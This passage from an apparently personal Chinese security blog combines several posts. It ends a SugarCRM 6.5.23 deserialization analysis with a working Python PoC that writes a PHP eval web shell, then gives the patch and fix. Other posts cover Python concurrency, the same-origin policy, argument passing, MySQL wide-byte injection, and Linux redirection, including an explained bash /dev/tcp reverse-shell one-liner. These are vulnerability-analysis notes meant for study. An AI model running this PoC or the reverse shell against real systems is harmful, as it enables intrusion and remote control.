$_REQUEST['rest_data'] -> sugar_unserialize -> __destruct -> sugar_file_put_contents -> evil_file

PoC Demo如下：

import requests as req

url = 'http://127.0.0.1:8788/service/v4/rest.php'

data = {
    'method': 'login',
    'input_type': 'Serialize',
    'rest_data': 'O:+14:"SugarCacheFile":23:{S:17:"\\00*\\00_cacheFileName";s:15:"../custom/1.php";S:16:"\\00*\\00_cacheChanged";b:1;S:14:"\\00*\\00_localStore";a:1:{i:0;s:29:"<?php eval($_POST[\'HHH\']); ?>";}}',
}

req.post(url, data=data)

脚本执行后shell位于custom/1.php：

4.补丁分析

在v6.5.24中，对sugar_unserialize进行了如下改进：

function sugar_unserialize($value)
{
    preg_match('/[oc]:[^:]*\d+:/i', $value, $matches);
    if (count($matches)) {
        return false;
    }
    return unserialize($value);
}

更改了正则表达式，使对象类型无法进行反序列化。

0x02 修复方案

升级SugarCRM到v6.5.24

升级php5到5.6.25及以上

升级php7到7.0.10及以上

0x03 参考

https://www.exploit-db.com/exploits/40344/

https://bugs.php.net/bug.php?id=72663

http://php.net/manual/zh/function.serialize.php

Python并发编程中的KeyboardInterrupt

Fri, 15 Apr 2016 00:00:00 +0000

Info

使用脚本程序时我们时常会用到<Ctrl-c>触发KeyboardInterrupt来进行退出，本文记录了在几种典型并发模型中实现此类退出的方式。

基础知识

signal
- 信号是一种进程间的通讯机制，<Ctrl-c>实际上发出的是SIGINT信号，用于终止进程的运行。需要注意的是，线程并不是处理信号的单元。
join
- x.join()：阻塞调用该语句的线程/进程，直到x执行结束。阻塞并不意味着不接收信号，只是直到阻塞结束再处理该信号。

multiprocessing

由于Python的GIL，多进程承担了更多的并发任务。

0x00 缺陷方案

from multiprocessing import Pool


def main():
    p = Pool(3)
    for _ in range(6):
        p.apply_async(handler)
    p.close()
    try:
        p.join()
    except KeyboardInterrupt:
        p.terminate()
        p.join()
        print '[-] main exit'

def handler():
    try:
        while 1:
            pass
    except KeyboardInterrupt:
        print '[-] handler exit'


if __name__ == '__main__':
    main()

运行结果如下：

^C[-] handler exit
[-] handler exit
[-] handler exit
^C[-] handler exit
[-] handler exit
[-] handler exit
[-] main exit

根据运行结果来看，<Ctrl-c>发出的信号首先到达由子进程处理，待子进程处理完后父进程再处理，这是由于p.join()阻塞了父进程，使信号不能第一时间被处理。在子进程结束后，p.join()返回之前，主进程才处理接收到的信号。

另外一点，实际上此次退出使用了两次<Ctrl-c>，因为Pool(3)规定了一次装载3个子进程，而我们的任务有6个。所以当第一次使用<Ctrl-c>时实际上只是退出了3个子进程，第二次再退出3个后再退出父进程。那么当任务数远大于我们分配的子进程数时，这个方案就是不可行的。

0x01 可行方案

...
def main():
    p = Pool(3)
    r_list = []
    for _ in range(6):
        r_list.append(p.apply_async(handler))
    p.close()
    try:
        for r in r_list:
            r.get()
    except KeyboardInterrupt:
        p.terminate()
        print '[-] main exit'
    p.join()
...

执行结果如下：

^C[-] handler exit
[-] handler exit
[-] handler exit
[-] main exit

当按下<Ctrl-c>时，当前Pool中的任务退出，相应的r.get()得到返回，使r.get()不再阻塞父进程，从而父进程得以处理之前得到的信号，程序退出。

由于r.get()对应的是任务，所以只要有一个任务结束父进程就可处理退出信号，所以不存在第一个方案的缺陷。

threading

多线程在I/O密集型的任务中仍有很重要的地位，其利用如下方式实现<Ctrl-c>退出：

for i in range(thread_num):
    thread = threading.Thread(target=thread_handler)
    thread.daemon = True
    thread.start()
while threading.activeCount() > 1:
    try:
        time.sleep(1)
    except KeyboardInterrupt:
        exit('User aborted')

thread.deamon = True将所有子线程设置成守护线程。根据Python守护线程的规定，当所有非守护线程退出的时候所有守护线程自动退出。所以当主线程（非守护线程）也就是我们的进程处理SIGINT信号并退出后，所有子线程也就都退出了。至于while循环则是为了保证主线程在正常情况下不退出，以免影响子线程的执行。

gevent

协程也是一种很常用的并发模型，在Python中使用gevent来实现协程，并与multiprocessing联合来充分利用多核。使用<Ctrl-c>退出协程的代码如下：

import gevent
from gevent import monkey; monkey.patch_socket()


def main():
    try:
        jobs = [gevent.spawn(handler) for _ in range(5)]
        gevent.joinall(jobs)
    except KeyboardInterrupt:
        print '[-] main exit'

def handler():
    while 1:
        pass


if __name__ == '__main__':
    main()

运行结果如下：

^CTraceback (most recent call last):
  File "/home/.../python2.7/site-packages/gevent/greenlet.py", line 327, in run
    result = self._run(*self.args, **self.kwargs)
  File "gv_kbi.py", line 17, in handler
    pass
KeyboardInterrupt
<Greenlet at 0x7f478de72a50: handler> failed with KeyboardInterrupt

[-] main exit

我们并没有在greenlet中处理异常，因为在greenlet中处理异常相当于加快了greenlet的结束，使gevent切换到另一个greenlet，并没有终止程序的运行。所以使greenlet中的异常向上抛出，在主程序中捕获并处理异常使程序退出。

同源策略

Sat, 19 Mar 2016 00:00:00 +0000

Info

对同源策略及其相关知识点的整理。

源

源的界定元素是协议、域名和端口号，如果两个页面的这三个元素相同，那么它们就是同源的。

同源策略

同源策略，Same-origin policy， SOP。该策略约束了一个源中所加载的文档和脚本对另一个源中的资源的访问。

约束

同源策略对资源间的访问进行了以下三类约束：

允许跨源写操作，包括链接、重定向和表单提交
允许跨源嵌入资源，包括如下几种嵌入方式：
- <script>，可以实现JSONP
- <link rel="stylesheet">
- <img>
- <video>、<audio>
- <object>、<embed>、<applet>
- @font-face
- <frame>、<iframe>
不允许跨源读操作，但是可以通过嵌入资源来读取

跨源访问

实际应用中的业务需求有时要满足跨源通信，以下是几种跨源方式：

document.domain：这实际是一种源的改变，脚本可以设置该值为当前域的一个后缀，之后该值即变为源的判断依据，利用这种方式可以实现父域与子域间资源的访问。需要注意的是其值不能为.com等顶级域。
window.postMessage： JavaScript中窗口的句柄是可以跨源访问的，只要发送端拥有某个窗口的JavaScript句柄，就可以通过这个机制向该窗口发送任意长度的文本信息。这套机制由发送端决定哪个页面能接受到发送的信息，在发送的过程中，也会为接受端提供发送者的身份信息以供认证，从而确保了传输的正确性。
Cross-Origin Resource Sharing（CORS）：即跨源资源共享，这种机制让Web服务器支持访问控制，其基本思想是使用自定义的HTTP头部让浏览器与服务器进行沟通，从而决定请求是否成功。需要注意的是，不管请求是否成功，请求都成功发送到了服务器上。
WebSocket：WebSocket的目标是创建一个全双工的socket连接，客户端首先向服务端发送一个特殊的HTTP请求以发起连接，收到服务器响应之后，连接由HTTP升级为WebSocket从而开始通信。

参考文档

https://developer.mozilla.org/en/docs/Web/Security/Same-origin_policy
《Web之困》
《Web前端黑客技术揭秘》
《JavaScript高级程序设计》

Python 函数参数传递

Sat, 05 Mar 2016 00:00:00 +0000

Info

由于Python变量的特殊性，Python函数参数的传递并不是传值或者是传引用，而是一种特殊的方式，我们可以称之为: Call by sharing。

Nametag

在Python中，变量其实是内存中对象的一个“标签”，我们可以称之为nametag。它并不像C或者其他语言那样在变量之间赋值时创建一个新的对象给新变量，而是让新变量也指向之前的对象，这里有个很形象的例子。我们也可以通过以下代码来说明：

a = 1
b = a
print a is b # True

其实在CPython中，Python变量的实现为PyObject*,结合指针类型也就更容易理解“标签”的含义（Python对一些操作进行了重载，所以不要完全以指针的操作来看待变量操作）。

可变/不可变对象

Python中的对象可以分为可变和不可变两类，可变对象包括list、dict和object等类型的对象；不可变对象包括str、number和tuple。可变对象内置改变自身的方法，比如list.append(1)，而不可变对象并没有。

函数参数传递

结合以上两点，我们来看下面几个例子：

0x00

# 函数参数为不可变对象
a = 1
def fun(b):
    b = b + 1
fun(b)
print a # 1

在此例中，传参时首先执行b = a，即让“标签”b也指向1这个对象，而在函数中首先去b所指向的对象的值，再+1创建一个新的对象2，最后让b再指向2这个对象。也就是说，函数的作用实际上是创建了一个新的对象并让函数内部变量b指向这个新对象，而并没有改变a所指向的对象，所以最后a的值仍为1。

0x01

# 函数参数为可变对象
a = [1]
def fun(b):
    b = b + [2]
fun(a)
print a # [1]

原理同上，虽然参数是可变对象，但是函数内部逻辑依然为让函数内部变量指向所创建新对象，所以并没有改变a的值。

0x02

# 函数参数为可变对象
a = [1]
def fun(b):
    b.append(2)
fun(a)
print a # [1, 2]

在这个例子中，函数内部使用b.append(2)改变了b所指向的对象，也就是a所指向的对象[1]，所以函数执行后a的值发生了改变。

0x03

# 函数参数为可变对象
a = [1]
def fun(b):
    b += [2]
fun(a)
print a # [1, 2]

这个例子看似很奇怪，其实究其原因是因为Python对+=这个操作符进行了重载，若操作的对象是可变对象，+=实际上等同于extend()这类改变对象自身的函数。

总结以上几个例子，Python中函数参数传递实际上传递的是指向对象的“标签”，这种传参的方法就是我们下面要提到的“Call by sharing”。至于对形参的改变是否影响到实参，实际上是看函数中有没有对实参所指的对象本身进行改变。

维基百科如是说，核心的意思就是说此类传参方法与传引用的区别在于：函数内部对形参的赋值在函数外是不可见的。

在传统C++中，引用所使用的是栈空间的数据，所以函数内部操作会反映到函数外部，而Python传递的是“标签”。但是因为内外标签指向的是同一对象，如果对象可变并直接改变了对象，那么这种“非赋值”的变化是会反映到函数外部的。

参考链接

Linux I/O重定向

Wed, 02 Mar 2016 00:00:00 +0000

Info

Linux中重定向是很有趣的一部分，今天就在这进行一下整理。

标准I/O

Linux中每个进程都有STDIN、STDOUT和STDERR中三种标准I/O，相应的，几乎所有语言都有标准的I/O函数。

文件描述符

对于Linux来说，每一个打开的文件都对应着一个文件描述符（File Descriptor，简称FD）。内核维护一个File descriptor table，该表已FD为索引，指向维护所有进程所打开文件的File table，该表记录了文件打开的模式，而该表又指向Inode table，也就是实际的文件：

当进程需要访问文件时，首先把FD传给内核，内核根据FD在文件描述符表中找到实际指向的文件并进行操作，再将操作完成后的FD传给进程，整个过程进程并不直接操作文件。

在进程创建时，进程默认拥有0、1和2三个FD，分别指向STDIN、STDOUT和STDERR。

重定向

在Linux中，重定向实际定向的是File descriptor table的指向。进程只关心FD，而并不关心FD所索引的表项所指向的具体文件。

Bash Redirection

bash中使用>等符号来进行重定向，基本用法请看这里，下面以两个例子介绍几个特殊用法以及注意事项：

0x00

bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

经典的一句话反弹shell，首先利用>&将bash的STDOUT和STDERR重定向到/dev/tcp/127.0.0.1/8080这个文件中，这是bash所维护的仅用于重定向中的一个特殊文件，当对此文件进行输入时，如果目标地址可达，则与目标建立socket连接。接着再执行0>&1，将bash的STDIN重定向到STDOUT的位置，因为此时STDOUT目前被重定向到上述文件中，从而使STDIN也重定向到同一文件，最后攻击方可同时获得bash的输入输出。

值得注意的有以下几点：

为何不是0>1而是0>&1，因为加上&代表1为FD，不加则为一个文件名
重定向执行的顺序很重要，若先执行0>&1，在... >& ...后STDIN依旧指向的是之前STDOUT的位置，并没有重定向到连接上。

0x01

exec 9<>/dev/tcp/127.0.0.1/8080

此处打开文件，并利用9作为FD对其进行输入和输出。需要注意的是尽量不要使用大于9的FD进行重定向，有可能跟bash自己拥有的FD冲突。

MySQL宽字节注入及相关知识点

Thu, 29 Oct 2015 00:00:00 +0000

Info

这些天在利用sqli-labs来研究sql注入，发现了很多有趣的东西，今天就在这里记录一下宽字节注入以及相关知识点.

宽字节注入

人类有多种语言，然而计算机的语言只有0和1，所以编码就此诞生.宽字节注入的发生背景就是GBK编码.

我们的场景很简单:

mysql_query("SET NAMES 'gbk'");
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$sql = "SELECT * FROM news WHERE tid='{$id}'";

服务端设置连接字符集，将通过addslashes等过滤函数将输入提交到数据库，然而问题在于，过滤函数并不是按照连接字符集来过滤的，所以就导致了以下的现象:

当用户提交%df'时，'因为在addslashes的黑名单内，所以会被过滤为%df\'，转成ascii码后变成%df%5c%27. 当数据提交到数据库后，由于设置了GBK为连接字符集，当两个字符中前一个字符的ascii码值大于128时，该编码会把这两个字符视作一个汉字，所以%df%5c被当做一个汉字，从而使'逃逸.

修复

上面提到了，问题的关键在于过滤函数并没有考虑当前连接的字符集.所以要使用mysql_real_escape_string()，该函数会考虑当前连接的字符集.

但是该函数是从mysql->charset这个对象属性中获取字符集，我们上面的mysql_query("SET NAMES 'gbk'");并不会达到这种效果，所以要将其改为mysql_set_charset('gbk')，该函数除了SET NAME 'gbk'(下面会提到)之外，还会将mysql->charset设置为GBK，从而供mysql_real_escape_string()使用.

MySQL字符集转换过程

既然说到字符集，就有必要了解一下其运作过程:

MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection
进行内部操作前将请求数据从character_set_connection转换为内部操作字符集，其确定方法如下：
- 使用每个数据字段的CHARACTER SET设定值
- 若上述值不存在，则使用对应数据表的DEFAULT CHARACTERSET设定值(MySQL扩展，非SQL标准)
- 若上述值不存在，则使用对应数据库的DEFAULT CHARACTERSET设定值
- 若上述值不存在，则使用character_set_server设定值
将操作结果从内部操作字符集转换为character_set_results

我们所执行的SET NAMES的功能如下:

SET NAMES sets the three session system variables character_set_client， character_set_connection， and character_set_results to the given character set. 

几点需要注意的问题

URL encode的过程就是把部分url做为字符，按照某种编码方式（如：utf-8，gbk等）编码成二进制的字节码，然后每个字节用一个包含3个字符的字符串 “%xy” 表示，其中xy为该字节的两位十六进制表示形式
GET和POST的URL编码方式
POST的格式为application/x-www-form-urlencoded，在HTML5中不编码的字符有字母，数字和*-_.
chrome中GET只会对空格和单引号进行编码

imp0wd3r.github.io

Wordpress <= 4.6.1 使用语言文件任意代码执行 漏洞分析

0x00 漏洞概述

1.漏洞简介

2.漏洞影响

3.影响版本

0x01 漏洞复现

1. 环境搭建

2.漏洞分析

3.补丁分析

0x02 修复方案

0x03 参考

Wordpress <= 4.6.1 使用主题文件触发存储型XSS 漏洞分析

0x00 漏洞概述

1.漏洞简介

2.漏洞影响

3.影响版本

0x01 漏洞复现

1. 环境搭建

2.漏洞分析

3.补丁分析

0x02 修复方案

0x03 参考

Django CSRF Bypass (CVE-2016-7401) 漏洞分析

0x00 漏洞概述

1.漏洞简介

2.漏洞影响

3.影响版本

0x01 漏洞复现

1. 环境搭建

2.漏洞分析

3.补丁分析

0x02 修复方案

0x03 参考

Drupal 8 配置文件下载漏洞

0x00 漏洞概述

1.漏洞简介

2.漏洞影响

3.影响版本

0x01 漏洞复现

1. 环境搭建

2.漏洞分析

3.补丁分析

0x02 修复方案

0x03 参考

SugarCRM v6.5.23 PHP反序列化对象注入漏洞

0x00 漏洞概述

1.漏洞简介

2.漏洞影响

3.影响版本

0x01 漏洞复现

1. 环境搭建

2.基础准备

3.漏洞分析

4.补丁分析

0x02 修复方案

0x03 参考

Python并发编程中的KeyboardInterrupt

Info

基础知识

multiprocessing

0x00 缺陷方案

0x01 可行方案

threading

gevent

同源策略

Info

源

同源策略

约束

跨源访问

参考文档

Python 函数参数传递

Info

Nametag

可变/不可变对象

函数参数传递

0x00

0x01

0x02

Wordpress <= 4.6.1 使用语言文件任意代码执行漏洞分析